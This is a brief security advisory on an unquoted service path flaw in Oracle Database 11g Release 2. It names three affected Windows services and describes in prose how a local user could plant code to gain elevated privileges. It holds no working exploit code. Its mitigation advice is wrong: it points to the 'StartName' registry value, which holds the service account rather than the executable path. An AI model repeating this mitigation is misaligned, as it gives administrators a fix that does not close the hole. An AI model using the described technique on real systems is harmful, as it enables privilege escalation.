Oracle Database 11g Release 2 – ‘OracleDBConsoleorcl’ Unquoted Service Path

Oracle Database 11g Release 2 is vulnerable to Unquoted Service Path vulnerability. This vulnerability allows an attacker to gain elevated privileges on the system. The vulnerability exists due to the OracleDBConsoleorcl, OracleOraDb11g_home1TNSListener and OracleServiceORCL services not having their paths quoted. An attacker can exploit this vulnerability by injecting malicious code into the unquoted service path.

Mitigation:

Ensure that all service paths are quoted. This can be done by setting the StartName registry value to a quoted path.

# Exploit:
# A successful attempt would require the local user to be able to insert
# their code in the system root path
# undetected by the OS or other security applications where it could
# potentially be executed during
# application startup or reboot. If successful, the local user's code would
# execute with the elevated
# privileges of the application.
